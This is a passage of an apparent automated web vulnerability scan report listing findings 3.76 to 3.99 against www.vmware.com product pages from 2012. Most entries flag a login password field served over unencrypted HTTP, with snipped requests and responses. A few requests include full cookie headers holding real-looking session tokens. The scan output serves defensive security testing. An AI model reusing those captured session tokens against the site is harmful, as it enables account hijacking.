User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:17 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 87677


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.76. http://www.vmware.com/products/datacenter-virtualization/service-manager/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/datacenter-virtualization/service-manager/overview.html

Request

GET /products/datacenter-virtualization/service-manager/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:18 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 77761


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.77. http://www.vmware.com/products/datacenter-virtualization/vcenter-infrastructure-navigator/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/datacenter-virtualization/vcenter-infrastructure-navigator/overview.html

Request

GET /products/datacenter-virtualization/vcenter-infrastructure-navigator/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:23 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 79964


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.78. http://www.vmware.com/products/datacenter-virtualization/vcenter-operations-management/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/datacenter-virtualization/vcenter-operations-management/overview.html

Request

GET /products/datacenter-virtualization/vcenter-operations-management/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:19 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 88310


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.79. http://www.vmware.com/products/datacenter-virtualization/vcenter-protect-update-catalog/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/datacenter-virtualization/vcenter-protect-update-catalog/overview.html

Request

GET /products/datacenter-virtualization/vcenter-protect-update-catalog/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:22 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 79448


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.80. http://www.vmware.com/products/datacenter-virtualization/vcenter-protect/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/datacenter-virtualization/vcenter-protect/overview.html

Request

GET /products/datacenter-virtualization/vcenter-protect/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:15 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 81096


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.81. http://www.vmware.com/products/datacenter-virtualization/vcloud-integration-manager/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/datacenter-virtualization/vcloud-integration-manager/overview.html

Request

GET /products/datacenter-virtualization/vcloud-integration-manager/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:13 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 85766


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.82. http://www.vmware.com/products/datacenter-virtualization/vcloudconnector/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/datacenter-virtualization/vcloudconnector/overview.html

Request

GET /products/datacenter-virtualization/vcloudconnector/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:14 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 83731


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.83. http://www.vmware.com/products/datacenter-virtualization/vshield-app-data-security/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/datacenter-virtualization/vshield-app-data-security/overview.html

Request

GET /products/datacenter-virtualization/vshield-app-data-security/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en-US
Date: Tue, 01 May 2012 03:51:16 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 84051


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.84. http://www.vmware.com/products/datacenter-virtualization/vsphere/mid-size-and-enterprise-business/compare-editions.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/datacenter-virtualization/vsphere/mid-size-and-enterprise-business/compare-editions.html

Request

GET /products/datacenter-virtualization/vsphere/mid-size-and-enterprise-business/compare-editions.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:05 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 125821


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.85. http://www.vmware.com/products/datacenter-virtualization/vsphere/mid-size-and-enterprise-business/documentation-and-training.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/datacenter-virtualization/vsphere/mid-size-and-enterprise-business/documentation-and-training.html

Request

GET /products/datacenter-virtualization/vsphere/mid-size-and-enterprise-business/documentation-and-training.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:06 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 106307


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.86. http://www.vmware.com/products/datacenter-virtualization/vsphere/profile-driven-storage/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/datacenter-virtualization/vsphere/profile-driven-storage/overview.html

Request

GET /products/datacenter-virtualization/vsphere/profile-driven-storage/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:12 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 80743


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.87. http://www.vmware.com/products/datacenter-virtualization/vsphere/vsphere-storage-appliance/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/datacenter-virtualization/vsphere/vsphere-storage-appliance/overview.html

Request

GET /products/datacenter-virtualization/vsphere/vsphere-storage-appliance/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:07 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 83867


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.88. http://www.vmware.com/products/datacenter-virtualization/vsphere/vsphere-storage-drs/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/datacenter-virtualization/vsphere/vsphere-storage-drs/overview.html

Request

GET /products/datacenter-virtualization/vsphere/vsphere-storage-drs/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:09 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 81458


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.89. http://www.vmware.com/products/desktop_virtualization/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/desktop_virtualization/

Request

GET /products/desktop_virtualization/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:25 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 76903


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.90. http://www.vmware.com/products/desktop_virtualization/horizon/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/desktop_virtualization/horizon/

Request

GET /products/desktop_virtualization/horizon/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:28 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 80159


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.91. http://www.vmware.com/products/desktop_virtualization/sliderocket/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/desktop_virtualization/sliderocket/overview.html

Request

GET /products/desktop_virtualization/sliderocket/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:27 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 76888


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.92. http://www.vmware.com/products/smb-products.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/smb-products.html

Request

GET /products/smb-products.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:39 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 78025


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.93. http://www.vmware.com/products/studio/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/studio/overview.html

Request

GET /products/studio/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:39 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 84781


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.94. http://www.vmware.com/products/vcenter-server/buy.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/vcenter-server/buy.html

Request

GET /products/vcenter-server/buy.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:41 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 81873


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.95. http://www.vmware.com/products/vcenter-server/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/vcenter-server/overview.html

Request

GET /products/vcenter-server/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:40 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 85631


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.96. http://www.vmware.com/products/vsphere/esxi-and-esx/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/vsphere/esxi-and-esx/overview.html

Request

GET /products/vsphere/esxi-and-esx/overview.html HTTP/1.1
Host: www.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.vmware.com/
Cookie: s_nr=1335320426225; uid=10.113.78.120.309951335320403339; BE_CLA=p_id%3DAL6PP6A8PNPPRNPL26J8P2420LRL8A2JNH%26p_last_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26s_entry%3Dhttp%253A//www.vmware.com/%26p_first_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26p_first_entry%3Dhttp%253A//www.vmware.com/support/pubs/%26s_expire%3D1335845346892%26s_id%3D8J246NP62NPPRJPJ82P8P2420LRL8A2JNH; __utma=106857756.1485474146.1335843542.1335843542.1335843542.1; __utmb=106857756.1.10.1335843542; __utmc=106857756; __utmz=106857756.1335843542.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; myvmware-wwwa-prod=A412jKE9HPwmz2CFuADnKD5eFD3y9JUOWCoHifWjQCEIaVuuEDe8Z0A9hbIP70aiolod1HsKREGFV3s=; myvmware-www=hsK5BtblEqVlyXvFsN/GU1k4V/ZdkREjnc2ldo8El3hYmrviY7JUPKXDkZX36tM9n37Mvsr2zXCRAA==; TSc99b3e=5377f1bc8a6b783c77daa0684fa3e457abb1f043c06b19c14f9f5ad1; first_pv_191807=1; _jsuid=2410290445; unpoco_191807=1

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 84132
Date: Tue, 01 May 2012 03:41:53 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.97. http://www.vmware.com/products/vsphere/mid-size-and-enterprise-business/buy.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/vsphere/mid-size-and-enterprise-business/buy.html

Request

GET /products/vsphere/mid-size-and-enterprise-business/buy.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:40 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 100845


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.98. http://www.vmware.com/products/vsphere/mid-size-and-enterprise-business/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/vsphere/mid-size-and-enterprise-business/overview.html

Request

GET /products/vsphere/mid-size-and-enterprise-business/overview.html?src=WWW_ProdSelTool_vsphere-standard_LearnMore HTTP/1.1
Host: www.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://productselector.vmware.com/en/
Cookie: s_nr=1335320426225; uid=10.113.78.120.309951335320403339; BE_CLA=p_id%3DAL6PP6A8PNPPRNPL26J8P2420LRL8A2JNH%26p_last_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26s_entry%3Dhttp%253A//www.vmware.com/%26p_first_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26p_first_entry%3Dhttp%253A//www.vmware.com/support/pubs/%26s_expire%3D1335845646797%26s_id%3D8J246NP62NPPRJPJ82P8P2420LRL8A2JNH; __utma=106857756.1485474146.1335843542.1335843542.1335843542.1; __utmb=106857756.8.10.1335843542; __utmc=106857756; __utmz=106857756.1335843542.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; myvmware-wwwa-prod=A412jKE9HPwmz2CFuADnKD5eFD3y9JUOWCoHifWjQCEIaVuuEDe8Z0A9hbIP70aiolod1HsKREGFV3s=; myvmware-www=hsK5BtblEqVlyXvFsN/GU1k4V/ZdkREjnc2ldo8El3hYmrviY7JUPKXDkZX36tM9n37Mvsr2zXCRAA==; TSc99b3e=06377ac5abde2b66a767d814680bd8c5abb1f043c06b19c14f9f5bff; first_pv_191807=1; _jsuid=2410290445; unpoco_191807=1; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520search%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/solutions/%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en-US
Vary: Accept-Encoding
Date: Tue, 01 May 2012 03:45:41 GMT
Content-Length: 101375
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.99. http://www.vmware.com/products/vsphere/pricing.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/vsphere/pricing.html

Request

